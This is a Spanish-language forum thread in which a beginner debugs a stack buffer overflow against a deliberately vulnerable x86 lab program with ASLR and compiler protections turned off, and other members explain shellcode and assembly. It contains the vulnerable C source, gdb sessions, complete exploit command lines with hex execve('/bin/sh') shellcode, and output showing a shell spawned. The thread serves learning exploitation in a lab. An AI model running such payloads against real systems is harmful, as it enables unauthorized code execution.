Autor
|
Tema: Problema buffer overflow (Leído 11,660 veces)
|
kr0m_
Desconectado
Mensajes: 16
|
Hola, soy novato en estos temas del reversing y estoy experimentando con programas muy sencillos con tal de comprender el funcionamiento de estas técnicas, intento realizar un bufferoverflow que me permitirá a su vez ejecutar una shellcode, debo indicar que se trata de x86(32bits), se ha deshabilitado el aslr y se ha compilado el binario deshabilitando las medidas de seguridad de gcc: echo 0 > /proc/sys/kernel/randomize_va_space gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack
El código en sí es este:
#include <stdio.h> #include <string.h>
void func(char *str1, char *str2){ char buff_a[32]; char buff_b[24]; char buff_c[32]; printf(" buff_a is stored at %p.\n", &buff_a); printf(" buff_b is stored at %p.\n", &buff_b); printf(" buff_c is stored at %p.\n", &buff_c); strncpy(buff_c, str1, sizeof(buff_c)); strncpy(buff_b, str2, sizeof(buff_b)-1); strcpy(buff_a, buff_c); }
int main(int argc, char *argv[]){ if ( argc < 3 ){ printf("Uso: %s CADENA-1 CADENA-2\n", argv[0]); exit(0); } func(argv[1], argv[2]); return 0; }
Mediante GDB compruebo que metiendo un entrada demasiado larga el buffer efectivamente se desborda sobreescribiendo el EIP:
(gdb) run `perl -e 'print "A"x32'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'` Starting program: /home/kr0m/overrun3 `perl -e 'print "A"x32'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'` buff_a is stored at 0xbffff710. buff_b is stored at 0xbffff6f8. buff_c is stored at 0xbffff6d8.
Program received signal SIGSEGV, Segmentation fault. 0x44444444 in ?? ()
Lo vuelvo a desbordar pero esta vez dejando en la primera variable mi shellcode: (gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'` The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'` buff_a is stored at 0xbffff710. buff_b is stored at 0xbffff6f8. buff_c is stored at 0xbffff6d8.
Program received signal SIGSEGV, Segmentation fault. 0x44444444 in ?? ()
Si miramos el contenido de la memoria en posiciones cercanas al ESP podemos distinguir nuestra shellcode: (gdb) x/128x $esp-128 0xbffff6c0: 0xbffff710 0xbffff6d8 0x00000017 0xbffff774 0xbffff6d0: 0x08048230 0xbffff768 0x6850c031 0x68732f2f 0xbffff6e0: 0x69622f68 0x50e3896e 0xb0e18953 0x4180cd0b 0xbffff6f0: 0x41414141 0x41414141 0x41414141 0x42424242
Sobreescribo el EIP con la dirección donde se encuentra la shellcode:
(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'` buff_a is stored at 0xbffff710. buff_b is stored at 0xbffff6f8. buff_c is stored at 0xbffff6d8.
Program received signal SIGILL, Illegal instruction. 0xbffff706 in ?? ()
(gdb) info registers eax 0xfffffff2 -14 ecx 0xbffff739 -1073744071 edx 0x35 53 ebx 0xbffff738 -1073744072 esp 0xbffff72c 0xbffff72c ebp 0x43434343 0x43434343 esi 0x0 0 edi 0x0 0 eip 0xbffff706 0xbffff706 eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Se puede observar que el EIP ha sido sobreescrito con el valor 0xc0bff6ff y no con 0xbffff6e8 que es donde se encuentra la shellcode, la dirección donde se encuentra la shellcode doy por hecho que es correcta ya que examinando el contenido de la pila y con el printf de debug las dos direcciones coinciden.
Es algo extraño ya que el EIP se sobreescribe con 0x44444444 que corresponde a los carácteres DDDD cuando ejecuto: (gdb) run `perl -e 'print "A"x32'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
Program received signal SIGSEGV, Segmentation fault. 0x44444444 in ?? ()
En cambio cuando se intenta sobreescribir con 0xbffff6d8 termina con 0xbffff706: (gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`
Program received signal SIGILL, Illegal instruction. 0xbffff706 in ?? ()
Alguien podría iluminarme? llevo varios días loco detrás de este programilla y me está volviendo loco, ya no se si es que entendí algún concepto incorrectamente o si hay alguna limitación por parte de GDB en cuanto acceso a direcciones de memoria....
|
|
|
En línea
|
|
|
|
MCKSys Argentina
|
No tengo linux por acá, pero creo que si estás ejecutando 0xBFFFF6D8. El tema es que el programa sigue y crashea en 0xBFFFF706.
Para verificar ésto, pon un INT3 (0xCC) al inicio del shellcode, así salta en el debugger. Si salta el BP, entonces sabes que estás ejecutando correctamente y que el shellcode tiene un error.
Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
kr0m_
Desconectado
Mensajes: 16
|
Muchas gracias por tomarte la molestia de leer y responder a mi post, he puesto el opcode cc en el inicio de mi shellcode y parece que salta la interrupción por lo tanto supongo que tienes razón, el programa casca mas adelante: (gdb) run `perl -e 'print "\x cc\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/kr0m/overrun3 `perl -e 'print "\xcc\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'` buff_a is stored at 0xbffff710. buff_b is stored at 0xbffff6f8. buff_c is stored at 0xbffff6d8. Program received signal SIGTRAP, Trace/breakpoint trap. 0xbffff6d9 in ?? () Es esta la salida esperada cuando se ejecuta una INT3? Mi shellcode en principio es correcta, en otras pruebas con otro código ha funcionado sin problemas, esta shellcode es copiada de http://shell-storm.org/shellcode/files/shellcode-827.php, debo tener en cuenta algo a la hora de elegir la shellcode a utilizar, mientras sea del tamaño correcto debería de funcionar, verdad? Perdonad mi ignorancia pero acabo de iniciarme en este mundillo.
|
|
|
En línea
|
|
|
|
kr0m_
Desconectado
Mensajes: 16
|
Amigos es realmente extraño, he probado con otra shellcode y funciona correctamente: http://shell-storm.org/shellcode/files/shellcode-841.php(gdb) run `perl -e 'print "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x11'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x11'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'` buff_a is stored at 0xbffff710. buff_b is stored at 0xbffff6f8. buff_c is stored at 0xbffff6d8. process 4226 is executing new program: /bin/dash $
La cuestión es que está ocurriendo aquí? porque una shellcode sí y la otra no? Todo un misterio, sigo buscando respuestas, si alguien sabe que está ocurriendo por favor que me lo explique. Un saludo.
|
|
|
En línea
|
|
|
|
kr0m_
Desconectado
Mensajes: 16
|
He estado investigando y todavía no tengo una respuesta clara a porque no funciona la shellcode que utilicé en un principio pero estoy analizando la nueva y hay instrucciones que no me cuadran:
kr0m@reversedbox:~$ cat shellcode2.asm section .text global _start _start:
xor ecx,ecx ; ECX --> 0 mul ecx ; Instruccion mistriosa, no tengo ni idea de para que multiplica ECX * EAX... mov al,0xb ; INT 11: execve
; Forma la cadena //bin/bash\0 push ecx push dword 0x68732f2f push dword 0x6e69622f
mov ebx,esp ; Asigna //bin/bash\0 como parametro para la ejecución del execve int 0x80 ; Ejecuta la syscall
Esta shellcode funciona en cambio si quito el mul ecx que a mi entender no es necesario ya no funciona.
Ejecución con mul: kr0m@reversedbox:~$ ./overrun3 `perl -e 'print "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x11'` `perl -e 'print "AAAABBBBCCCC\x08\xf7\xff\xbf"'` buff_a is stored at 0xbffff740. buff_b is stored at 0xbffff728. buff_c is stored at 0xbffff708. #
Ejecución sin mul: kr0m@reversedbox:~$ echo -ne "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | ndisasm -u - 00000000 31C9 xor ecx,ecx 00000002 F7E1 mul ecx 00000004 B00B mov al,0xb 00000006 51 push ecx 00000007 682F2F7368 push dword 0x68732f2f 0000000C 682F62696E push dword 0x6e69622f 00000011 89E3 mov ebx,esp 00000013 CD80 int 0x80
kr0m@reversedbox:~$ ./overrun3 `perl -e 'print "\x31\xc9\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x13'` `perl -e 'print "AAAABBBBCCCC\x08\xf7\xff\xbf"'` buff_a is stored at 0xbffff740. buff_b is stored at 0xbffff728. buff_c is stored at 0xbffff708. Instrucción ilegal
Debugeando con gdb puedo ver que los registros no cambian de valor ni antes ni después de la ejecución de mul: (gdb) disassemble _start Dump of assembler code for function _start: 0x08048060 <+0>: xor %ecx,%ecx => 0x08048062 <+2>: mul %ecx 0x08048064 <+4>: mov $0xb,%al 0x08048066 <+6>: push %ecx 0x08048067 <+7>: push $0x68732f2f 0x0804806c <+12>: push $0x6e69622f 0x08048071 <+17>: mov %esp,%ebx 0x08048073 <+19>: int $0x80 End of assembler dump. (gdb) info registers eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0x0 0 esp 0xbffff840 0xbffff840 ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x8048062 0x8048062 <_start+2> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x0 0 (gdb) stepi 1 0x08048064 in _start () (gdb) disassemble _start Dump of assembler code for function _start: 0x08048060 <+0>: xor %ecx,%ecx 0x08048062 <+2>: mul %ecx => 0x08048064 <+4>: mov $0xb,%al 0x08048066 <+6>: push %ecx 0x08048067 <+7>: push $0x68732f2f 0x0804806c <+12>: push $0x6e69622f 0x08048071 <+17>: mov %esp,%ebx 0x08048073 <+19>: int $0x80 End of assembler dump. (gdb) info registers eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0x0 0 esp 0xbffff840 0xbffff840 ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x8048064 0x8048064 <_start+4> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x0 0
En cambio si cargo el binario en gdb sin la instrucción mul: (gdb) disassemble _start Dump of assembler code for function _start: 0x08048060 <+0>: xor %ecx,%ecx => 0x08048062 <+2>: mov $0xb,%al 0x08048064 <+4>: push %ecx 0x08048065 <+5>: push $0x68732f2f 0x0804806a <+10>: push $0x6e69622f 0x0804806f <+15>: mov %esp,%ebx 0x08048071 <+17>: int $0x80 End of assembler dump. (gdb) info registers eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0x0 0 esp 0xbffff840 0xbffff840 ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x8048062 0x8048062 <_start+2> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x0 0 (gdb) stepi 1 0x08048065 in _start () (gdb) disassemble _start Dump of assembler code for function _start: 0x08048060 <+0>: xor %ecx,%ecx 0x08048062 <+2>: mov $0xb,%al 0x08048064 <+4>: push %ecx => 0x08048065 <+5>: push $0x68732f2f 0x0804806a <+10>: push $0x6e69622f 0x0804806f <+15>: mov %esp,%ebx 0x08048071 <+17>: int $0x80 End of assembler dump. (gdb) info registers eax 0xb 11 ecx 0x0 0 edx 0x0 0 ebx 0x0 0 esp 0xbffff83c 0xbffff83c ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x8048065 0x8048065 <_start+5> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x0 0
Podemos ver como se ha realizado el mov $0xb,%al pero se ha saltado una instrucción en ASM. El problema será que no encuentra el final de la cadena y por eso no funciona correctamente. Porque no se ha ejecutado push %ecx y se ha pasado a push $0x68732f2f?
|
|
|
En línea
|
|
|
|
kr0m_
Desconectado
Mensajes: 16
|
Se me ha olvidado comentar que el binario sin la instrucción mul funciona sin problemas tanto desde dentro como desde fuera de gdb: (gdb) disassemble _start Dump of assembler code for function _start: 0x08048060 <+0>: xor %ecx,%ecx 0x08048062 <+2>: mov $0xb,%al 0x08048064 <+4>: push %ecx 0x08048065 <+5>: push $0x68732f2f 0x0804806a <+10>: push $0x6e69622f 0x0804806f <+15>: mov %esp,%ebx => 0x08048071 <+17>: int $0x80 End of assembler dump. (gdb) stepi 1 process 3044 is executing new program: /bin/dash Error in re-setting breakpoint 1: Function "_start" not defined. $ kr0m@reversedbox:~$ ./shellcode2 $ Cualquier idea es bienvenida
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
No me lei todo el hilo, ya que es caotico con todo mi respeto. La instruccion MUL lo que hace es multiplicar el reg/mem que le pases com parametro con eax, como ecx vale 0, pues logico que el resultado sera 0 y este se pasa a eax: edx, se utiliza para dejar en 0 esos dos registros, para no tener segmentaciones. Cual puede ser el problema? Pues es posible que no estes apuntando bien, o cualquier cosa que pases por alto, no se como no te dije no me lei el hilo entero. Te dejo una shellcode un byte mas pesada que la del link, para que pruebes. 8048054: 31 c9 xor %ecx,%ecx 8048056: 31 d2 xor %edx,%edx 8048058: 6a 0b push $0xb 804805a: 58 pop %eax 804805b: 51 push %ecx 804805c: 68 2f 2f 73 68 push $0x68732f2f 8048061: 68 2f 62 69 6e push $0x6e69622f 8048066: 89 e3 mov %esp,%ebx 8048068: cd 80 int $0x80
Y me dices que sucede, y que haces al ser posible ordenadamente. Un saludo.
|
|
|
En línea
|
|
|
|
kr0m_
Desconectado
Mensajes: 16
|
Muchas gracias por responder cpu2,siento que mis explicaciones sean tan malas, de verdad que pensaba que quedaría claro, el tema es que tengo una shellcode copiada de Inet y hay una instrucción que no entiendo el porque de ella, doy por echo que conoce ASM mejor que yo así que te dejo la shellcode sin los comentarios que puse en el post anterior:
xor ecx,ecx mul ecx mov al,0xb push ecx push dword 0x68732f2f push dword 0x6e69622f mov ebx,esp int 0x80
Todo en este código tiene sentido para mi excepto la instrucción mul ecx, según leo en tu respuesta se está ejecutando lo siguiente: eax:edx = ecx * eax eax:edx = 0 * eax = 0
Perdona mi ignorancia pero no entiendo porque se guarda en dos registros el resultado, tampoco comprendo la coletilla "para no tener segmentaciones".
En cuanto a la shellcode que indicas también hay pasos que escapan a mi comprensión, la he probado y funciona correctamente, pero primero me gustaría centrarme en mi shellcode.
Te ruego que me perdones si estoy haciendo preguntas obvias o preguntando tonterias pero no tengo mucha experiencia en ASM ni en reversing en general.
Un saludo y muchas gracias por tu interes.
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Dios que educado xD. Todo en este código tiene sentido para mi excepto la instrucción mul ecx, según leo en tu respuesta se está ejecutando lo siguiente: eax:edx = ecx * eax eax:edx = 0 * eax = 0
Perdona mi ignorancia pero no entiendo porque se guarda en dos registros el resultado, tampoco comprendo la coletilla "para no tener segmentaciones". Como te dije anteriormente, MUL es una instruccion que acepta como parametro un registro o una direccion de memoria efectiva (offset). Bien el XOR al ecx del principio lo deja en cero, luego pasas a MUL ecx como parametro, que vale cero, eso significa que el resultado de la multiplicacion sera cero. Porque se guarda en dos registros el resultado? Pues por el simple motivo del espacio, hay es donde tienes que tener cuidado tambien con los OverFlow, esta instruccion modica esa bandera. Lo que te quiero decir es que eax y edx estan concatenados, si el resultado no entra en eax, la parte que sobra se copia en edx. Ejemplo: 0xfca0ee22 x 2 ----> 0x1f941dc44 Como puedes observar el resultado no entraria en eax ya que son 5 bytes, en eax quedaria 0xf941dc44 y en edx 0x1, si lo lees edx: eax significa que edx se lee el primero y eax el ultimo, y si lo haces de esa forma veras que el resultado es correcto. Si el resultado no entrase en los dos registros que fuera 9 bytes, activarias la bandera OF (OverFlow) y tendrias problemas. Cuando dije lo de segmentacion me referia ha segmentation fault, eso ya es teoria... Es cuando intentas acceder a un offset y no puedes, bueno buscalo que o encuentras a patadas por la red, por eso no explico. Vamos que si no pasas los parametros correctos te aparecera eso, es por eso que se limpian los registros con ese MUL. Supongo que sabras el orden de los parametros en Linux, no? Un saludo.
|
|
|
En línea
|
|
|
|
kr0m_
Desconectado
Mensajes: 16
|
Gracias por la respuesta cpu2, creo que ya entiendo lo que está ocurriendo, el mul lo utiliza simplemente para que eax y edx valga 0 con una sola operación, he reescrito el código del siguiente modo:
xor ecx,ecx ;mul ecx xor eax,eax xor edx,edx mov al,0xb push ecx push dword 0x68732f2f push dword 0x6e69622f mov ebx,esp int 0x80
Como puedes ver eax y edx ahora valen 0, ejecuto mi programa con la shellcode del ASM anterior y funciona ok, pero tengo una duda mas, cual es el valor de ecx si no lo sobreescribo? tendrá el valor que dejó la ultima operación que utilizó dicho registro?
Un saludo
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
buffer overflow
Ingeniería Inversa
|
Meg
|
2
|
6,062
|
6 Febrero 2009, 11:20 am
por Shaddy
|
|
|
Problema Con Buffer Overflow
« 1 2 »
Bugs y Exploits
|
Blackhawk222
|
10
|
7,240
|
15 Enero 2011, 08:27 am
por Blackhawk222
|
|
|
Problema, return address buffer overflow (Cómo calcular la dirección del buffer?
Bugs y Exploits
|
Debci
|
6
|
7,690
|
7 Abril 2014, 20:00 pm
por soez
|
|
|
Problema al intentar explotar buffer overflow
Bugs y Exploits
|
Vannox991
|
7
|
5,883
|
7 Enero 2021, 00:39 am
por MCKSys Argentina
|
|
|
Explicación de buffer overflow
Bugs y Exploits
|
Parado_larga_duracion_ESP
|
0
|
5,489
|
23 Febrero 2024, 11:43 am
por Parado_larga_duracion_ESP
|
|